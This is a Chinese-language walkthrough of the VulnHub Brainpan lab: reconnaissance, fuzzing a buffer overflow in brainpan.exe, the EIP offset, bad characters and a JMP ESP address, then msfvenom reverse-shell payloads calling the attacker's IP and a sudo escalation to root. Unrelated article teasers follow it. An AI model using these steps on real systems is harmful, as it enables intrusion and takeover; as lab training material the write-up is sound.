vulnhub靶机Brainpan

news2025/1/4 6:49:06

主机发现

arp-scan -l

端口扫描

nmap --min-rate 10000 -p- 192.168.21.156

服务扫描

nmap -sV -sT -O -p9999,10000 192.168.21.156

这个地方感到了有点不对劲,python起来的一个web端口

漏洞扫描

nmap --script=vuln -p9999,10000 192.168.21.156

意料之中,先去看一下web的内容

这个就是一张图片,但是还是扫个目录看一下

dirb http://192.168.21.156:10000

这里有一个exe文件,想都不用想要下下来

文件没有什么问题

但是9999端口发现了点东西,web不能直接交互用nc连着试试

nc 192.168.21.156 9999

接下来只剩下一条线索(exe文件)

前面已经查看了文件有没有特殊的地方,接下来就剩下文件的内容了

strings brainpan.exe

后面还有很多,但是发现这个界面挺熟悉的,那么9999端口上运行的也是这个exe了

这里可能这个有用

[get_reply] copied %d bytes to buffer

Shitstorm

试一下

这里只是成功了但是没有看到什么,去windows试一下

试过之后发现

这里有复制字符串的函数这里很有可能出现溢出漏洞

这里写脚本吧

多跑几遍

这里发现600-700之间出现报错,那么软件是在600字节的时候崩的,需要再一次确定具体的字节数,利用不一样的字节来判断什么时候出现溢出

msf-pattern_create -l 600

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

修改刚刚写的脚本

需要使用新的软件immunitydebugger

注意寄存器,需要吧缓冲区全部占满,然后吧我们的shell写进去

先运行脚本

注意要这个软件的exe文件在运行状态

这里只要看eip(这个是下一个指令的位置),记住eip的值

35724134

计算偏移量

msf-pattern_offset -l 600 -q 35724134

524字节填充eip

那么修改一下脚本

B和c(看看寄存器来确定b,剩下来的就是c的数据),再来运行程序

python2.7 yichu.py

堆栈的情况

Ascii编码(42 = b)(hex)

我们找到了eip,只需要在后面放入shell再将eip指向shell(350-400)就可以

修改脚本(扩容c)

只能多不能少

测试

计算字节数

一共468字节

去掉坏字符,不同的程序坏字符不一样,要去掉这些

去github来解决可能的坏字符问题

git clone GitHub - cytopia/badchars: Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars.

./badchars -f ruby

修改脚本

进行测试

注意esp寄存器,右键follow in dump一下

在ff之后发现00且不是连续的证明有坏字节

此处只有00是坏字节

修改脚本(在前面的esp上面写出eip的地址)

查看jmp esp的代码

能找到brainpan的程序

发现安全机制都没有启用

这个找到的地址就能发现这个是esp指针就能重定向到esp去

0x311712f3

因为有大小端问题需要反写进入cpu(一般是小端)(字节倒序)

反弹shell编写

msfvenom -p windows/shell_reverse_tcp lhost=192.168.21.146 lport=666 -b "\x00" -e x86/shikata_ga_nai -f c

记得要用nop来空格解码

测试

成功

记得修改shell需要攻击靶机了

生成linux的shell

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.21.146 lport=666 -b "\x00" -e x86/shikata_ga_nai -f c

修改脚本

测试

成功拿到

提升交互性

python -c "import pty;pty.spawn('/bin/bash')"

sudo -l

更具提示往没有密码的位置钻

这里有command可以去试试

直接一个/bin/bash抬走下一位

结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/999761.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java接入apiv3微信小程序支付(以java的eladmin框架为例)

一、需要准备的资料 1.小程序AppID 如:wx2e56f5****** 2.商户号 如:1641****** 3.商户API私钥路径:什么是商户API证书?如何获取商户API证书? 获取文件如下图: 如: 本地路径:E:\Env\e…

计算机提示d3dcompiler43.dll缺失怎么修复,多个解决方法分享

在游戏玩家中,遇到游戏提示找不到 d3dcompiler43.dll 文件的情况并不罕见。这使得许多玩家在启动游戏时感到困扰,因为这意味着他们可能无法正常运行游戏。那么,d3dcompiler43.dll 文件到底是什么呢?为什么游戏会提示找不到它呢&am…

注塑车间是否需要导入MES系统?

判定注塑车间是否需要导入MES系统时,需要谨慎考虑下述几个重要因素: 1.生产加工复杂性和多样化: 倘若注塑车间生产出来的产品品种繁多,涉及到多个工艺过程、不同类型的生产过程和参数设置,那么MES系统能够带去更加精准…

为什么当下MES如此火热,各大制造业工厂都在推行?

MES系统的特点: 1)数据采集引擎、整合数据采集渠道(RFID、条码设备、PLC、Sensor、IPC、PC等)覆盖整个工厂制造现场,保证现场数据的实时、准确、全面的采集; 2)打造工厂生产管理系统数据采集基础…

文心一言 VS 讯飞星火 VS chatgpt (90)-- 算法导论8.3 3题

三、用go语言,利用归纳法来证明基数排序是正确的。在你所给出的证明中,在哪里需要假设所用的底层排序算法是稳定的? 文心一言: 基数排序是一种非比较型整数排序算法,其通过在每一位上进行比较来排序。基数排序的一个主要特点是…

不会用手机做二维码?文本、链接码用手机生成的方法

现在很多功能都可以通过手机来实现,用手机制作二维码就是很多小伙伴经常会使用的一个功能,那么在手机上制作文本或者网址二维码是最常见的两种类型。下面就给还会在线制作二维码的小伙伴分享一个工具,通过简单的操作方法就可以快速做出文本码…

华为回击:制裁无法阻挡中国科技创新 | 百能云芯

华为最新推出的Mate 60 Pro手机引发了中国市场的抢购热潮,这一成功的举措为华为带来了信心。华为在这个背景下再度推出两款新机,其中包括高阶版的Mate 60 Pro和折叠式手机Mate X5。这两款手机在首批预购开始后迅速售罄,不仅取得了市场的热烈欢…

【软件测试】Postman中变量的使用

Postman中可设置的变量类型有全局变量,环境变量,集合变量,数据变量及局部变量。区别则是各变量作用域不同,全局变量适用于所有集合,环境变量适用于当前所选环境(所有集合中均可使用不同环境变量&#xff09…

3D人脸扫描设备助推元宇宙虚拟人打造

近几年,数字人被广泛应用到文娱、教育、政务、经济、科技等各大领域,如梅兰芳孪生数字人,通过照片采集梅兰芳先生的三维数据,然后依据照片制作1:1无表情头部雕塑,再用扫描设备扫描雕塑,获得梅兰…

SAP MM学习笔记 - 错误 ME092 - Material mainly procured internally(原则上该物料只能内部调达)

购买依赖,购买发注的时候,会出一些错误或警告,碰到的时候,能解决的话,咱们就记录一下。 比如 Msg 番号 ME092 该品目原则上是内部调达。 如下图,本次出这个错误的原因是,ME51N做购买依赖&…

期权权利金计算方法大揭秘!详解期权权利金的计算公式

期权的权利金就是指期权合约市场当时的价格,权利金是会浮动的,跟股票的价格一样,随着市场的波动而波动。权利金是期权费,不是保证金。那么期权权利金计算方法大揭秘!详解期权权利金的计算公式。 一、什么是期权的权利金…

IDEA的快捷键大全

快捷键 说明 IntelliJ IDEA 的便捷操作性,快捷键的功劳占了一大半,对于各个快捷键组合请认真对待。IntelliJ IDEA 本身的设计思维是提倡键盘优先于鼠标的,所以各种快捷键组合层出不穷,对于快捷键设置也有各种支持,对…

Java虚拟机(JVM)夺命20连问

博主介绍:✌全网粉丝3W,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战,博主也曾写过优秀论文,查重率极低,在这方面有丰富的经验…

多线程之基础篇(一)

一、Thread类 1、线程的创建 大家都熟知创建单个线程的三种方式,通过继承Thread类创建线程并重写该类的run()方法;通过实现Runnable接口创建线程一样要重写run()方法;以上的两个run()方法都是线程的执行体;第三,使用…

Matlab学习-自定义函数

Matlab学习-自定义函数 常用自定义函数 文章目录 Matlab学习-自定义函数1. 打印时间2. 计算统计参数3. 画图函数 1. 打印时间 function result calculate_time(time)% Function describe : calculate time% Input : time:N*1% Output : result.hour/min/sec hour/min/sec…

Linux 下静态库与动态库的制作与使用

Linux 下静态库与动态库的制作与使用 文章目录 Linux 下静态库与动态库的制作与使用示例代码:静态库静态库制作静态库使用 动态库动态库制作动态库使用 示例代码: test.c test.h main.c 静态库 静态库制作 以示例代码为例,先执行下面…

FPGA实现“乒乓操作”

一、“乒乓操作”概述 1、结构 “乒乓操作”是一种常用于数据流控制的处理技巧,可以实现无缝高速数据流缓存。首先“乒乓操作”这个名字本身就很吸引人,其结构一般是由数据选择器和数据缓冲器构成的,数据缓冲模块可以为任何存储模块&…

【MySQL数据库原理】MySQL Community 8.0界面工具汉化

尝试以下方法来汉化 MySQL Workbench 8.0 的菜单: 1、使用社区翻译版本:有一些热心的社区成员会将 MySQL Workbench 翻译成不同的语言,包括中文。你可以在一些开源或社区网站上寻找这些翻译版本,并按照他们的说明进行安装。 2、…

抖音外卖平台区域代理怎么拿?送上申请教程!

作为占据庞大流量的短视频平台,它的一举一动都格外引人注意。年初,抖音短视频平台开始大力进军本地生活市场,除了开通团购业务外,还准备做短视频外卖,这一举动,立刻掀起了今年火热的创业浪潮。 要知道&…

sql server服务无法启动怎么办?如何正常启动?

sql server软件是一款关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点。并且有些应用软件使用过程中是需要sql server数据库的后台支持的,我们在数据编程操作时经常会使用这款编程软件,在编程时系统有时会提示sql server服务无…